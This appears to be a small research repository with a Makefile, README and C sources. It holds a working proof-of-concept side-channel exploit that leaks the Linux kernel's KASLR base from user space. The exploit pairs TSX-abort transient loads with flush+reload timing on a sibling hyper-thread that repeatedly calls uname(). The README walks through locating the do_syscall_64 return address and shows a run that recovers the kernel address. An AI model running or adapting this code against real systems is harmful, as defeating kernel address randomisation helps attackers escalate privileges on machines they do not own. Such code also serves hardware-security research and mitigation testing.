├── Makefile ├── uname.c ├── README.md └── leak.c /Makefile: -------------------------------------------------------------------------------- 1 | all: leak uname 2 | leak: leak.c 3 | gcc -O3 -o leak leak.c 4 | uname: uname.c 5 | gcc -O3 -o uname uname.c 6 | -------------------------------------------------------------------------------- /uname.c: -------------------------------------------------------------------------------- 1 | int main() { 2 | char buff[1024]; 3 | while (1) { 4 | //volatile unsigned long long x = 0x1122334455667788; 5 | uname(buff); 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 1. Find our target to leak, which is a return address, and soon, overwritten by another call 2 | ``` 3 | sudo cat /proc/kallsyms | grep do_syscall_64 4 | ffffffffb9deca90 T do_syscall_64 5 | 6 | objdump -d vmlinux.elf 7 | ffffffff81beca90 : 8 | ffffffff81beca90: 55 push %rbp 9 | ffffffff81beca91: 49 89 f8 mov %rdi,%r8 10 | ffffffff81beca94: 48 89 e5 mov %rsp,%rbp 11 | ffffffff81beca97: 41 54 push %r12 12 | ffffffff81beca99: 49 89 f4 mov %rsi,%r12 13 | ffffffff81beca9c: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 14 | ffffffff81becaa1: 4c 89 c6 mov %r8,%rsi 15 | ffffffff81becaa4: 4c 89 e7 mov %r12,%rdi 16 | ffffffff81becaa7: e8 84 41 00 00 callq ffffffff81bf0c30 17 | ffffffff81becaac: 48 3d be 01 00 00 cmp $0x1be,%rax 18 | ffffffff81becab2: 77 52 ja ffffffff81becb06 19 | ffffffff81becab4: 48 3d bf 01 00 00 cmp $0x1bf,%rax 20 | ffffffff81becaba: 48 19 d2 sbb %rdx,%rdx 21 | ffffffff81becabd: 48 21 d0 and %rdx,%rax 22 | ffffffff81becac0: 4c 89 e7 mov %r12,%rdi 23 | ffffffff81becac3: 48 8b 04 c5 e0 02 00 mov -0x7dfffd20(,%rax,8),%rax 24 | ffffffff81becaca: 82 25 | ffffffff81becacb: e8 50 59 21 00 callq ffffffff81e02420 <__x86_indirect_thunk_rax> 26 | // we try to leak this return value i.e ffffffff????cad0 27 | ffffffff81becad0: 49 89 44 24 50 mov %rax,0x50(%r12) 28 | ffffffff81becad5: 4c 89 e7 mov %r12,%rdi 29 | ffffffff81becad8: e8 b3 41 00 00 callq ffffffff81bf0c90 30 | ffffffff81becadd: 4c 8b 65 f8 mov -0x8(%rbp),%r12 31 | ffffffff81becae1: c9 leaveq 32 | ffffffff81becae2: c3 retq 33 | 34 | 35 | static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr) // inlined 36 | { 37 | /* 38 | * Convert negative numbers to very high and thus out of range 39 | * numbers for comparisons. 40 | */ 41 | unsigned int unr = nr; 42 | 43 | if (likely(unr < NR_syscalls)) { 44 | unr = array_index_nospec(unr, NR_syscalls); 45 | regs->ax = sys_call_table[unr](regs); 46 | //our target to leak is this line in source code 47 | return true; 48 | } 49 | return false; 50 | } 51 | 52 | ``` 53 | 54 | 2. leak kaslr base! 55 | 56 | ``` 57 | # core 35 and core 71 are two logical threads share a same physical core (Intel Hyper-Thread) 58 | $ taskset -c "35" ./uname & taskset -c "71" ./leak 0xcad0 59 | 60 | using suffix 0xcad0 61 | 28 0x1c 1 62 | 082 0x52 1 63 | 129 0x81 7 64 | 140 0x8c 1 65 | 190 0xbe 1 66 | 222 0xde 21 67 | 225 0xe1 1 68 | 255 0xff 1 69 | leaked_value: ffffffff00decad0 70 | 185 0xb9 20 71 | leaked_value: ffffffffb9decad0 72 | ``` 73 | -------------------------------------------------------------------------------- /leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | inline __attribute__((always_inline)) int rdtsc_access(unsigned char *addr) { 9 | volatile unsigned long time; 10 | asm volatile( 11 | " mfence \n" 12 | " lfence \n" 13 | " rdtsc \n" 14 | " lfence \n" 15 | " movq %%rax, %%rsi \n" 16 | " movq (%1), %%rax \n" 17 | " lfence \n" 18 | " rdtsc \n" 19 | " subq %%rsi, %%rax \n" 20 | : "=a" (time) 21 | : "c" (addr) 22 | : "%rsi", "%rdx" 23 | ); 24 | return time; 25 | } 26 | 27 | inline __attribute__((always_inline)) int time_flush_reload(unsigned char *ptr) { 28 | int time = rdtsc_access(ptr); 29 | 30 | _mm_clflush(ptr); 31 | return time; 32 | } 33 | 34 | int tsxabort_leak_next_byte_by_6prefix( 35 | register uintptr_t prefix, uint64_t mask, uint32_t pos, uint8_t volatile * reloadbuffer, uint8_t volatile * dummy_buffer) { 36 | char volatile buffer[1024]; 37 | uint64_t retv = 0xAABB; 38 | //volatile register uint64_t mask = ~((0xff)<<(pos*8)) & 0xffffffffffffffff; 39 | volatile register uint64_t ror = (pos==8?0:pos*8); 40 | _mm_clflush(reloadbuffer); 41 | _mm_clflush(dummy_buffer); 42 | 43 | asm goto volatile( 44 | "sfence\n" 45 | "xbegin %l5\n" 46 | "vsqrtps %%xmm0, %%xmm0\n" 47 | "vsqrtps %%xmm0, %%xmm0\n" 48 | "vsqrtps %%xmm0, %%xmm0\n" 49 | "vsqrtps %%xmm0, %%xmm0\n" 50 | "vsqrtps %%xmm0, %%xmm0\n" 51 | "vsqrtps %%xmm0, %%xmm0\n" 52 | "movq (%0), %%rax\n" 53 | "xorq %2, %%rax\n" 54 | "andq %3, %%rax\n" 55 | "mov %4, %%rcx\n" 56 | "ror %%cl, %%rax\n" 57 | "shl $0xc, %%rax\n" 58 | "movq (%%rax, %1), %%rax\n" 59 | "movq (0x23000), %%rax\n" 60 | "" 61 | : 62 | :"r"(dummy_buffer+1), "r"(reloadbuffer), "r"(prefix), "r"(mask), "r"(ror) 63 | :"rax", "r11", "rcx" 64 | :label_end 65 | ); 66 | 67 | asm volatile( 68 | "xend\n" 69 | "\n" 70 | ); 71 | label_end: 72 | return retv; 73 | } 74 | 75 | int main(int argc, char **argv) { 76 | // NOTE: use MAP_HUGETLB have a better performance 77 | if (argc != 2) { 78 | printf("usage: %s ", argv[0]); 79 | exit(1); 80 | } 81 | unsigned long suffix = strtoul(argv[1], NULL, 0); 82 | printf("using suffix 0x%lx", suffix); 83 | //unsigned char * reloadbuffer = (unsigned char *)mmap(0, 4096*256, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | MAP_HUGETLB, -1, 0); 84 | //unsigned char * dummy_buffer = (unsigned char *)mmap(0, 4096*256, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | MAP_HUGETLB, -1, 0); 85 | unsigned char * reloadbuffer = (unsigned char *)mmap(0, 4096*256, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE , -1, 0); 86 | unsigned char * dummy_buffer = (unsigned char *)mmap(0, 4096*256, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE , -1, 0); 87 | uint64_t leaked_value = 0xffffffff00000000 | suffix; 88 | for (uint64_t pos = 2; pos <= 3; pos ++) { 89 | uint32_t sum[256] = {0}; 90 | for (uint64_t round = 0; round < 30000; round ++) { 91 | uint64_t knownvalue = 0xffffffff00000000 | suffix; 92 | uint64_t mask = 0xffffffff0000ffff; 93 | mask |= ((uint64_t)0xff<<(pos*8)); 94 | 95 | knownvalue &= mask; 96 | knownvalue = knownvalue & ~(((uint64_t)0xff)<<(8*pos)); 97 | 98 | for (size_t i = 0; i < 256; i++) { 99 | int y = tsxabort_leak_next_byte_by_6prefix(knownvalue, mask, pos, reloadbuffer, dummy_buffer); 100 | int time = time_flush_reload(reloadbuffer+i*4096); 101 | if (time < 150) 102 | sum[i] += 1; 103 | } 104 | 105 | } 106 | int max_value = 0; 107 | int max_index = 0; 108 | 109 | for (int i = 0; i < 256; i++) { 110 | if (sum[i]) { 111 | printf("%03d 0x%02x %d\n", i, i, sum[i]); 112 | if (sum[i] > max_value) { 113 | max_value = sum[i]; 114 | max_index = i; 115 | } 116 | } 117 | } 118 | 119 | leaked_value |= (((uint64_t)max_index)<<(pos*8)); 120 | printf("leaked_value: %lx\n", leaked_value); 121 | } 122 | } 123 | --------------------------------------------------------------------------------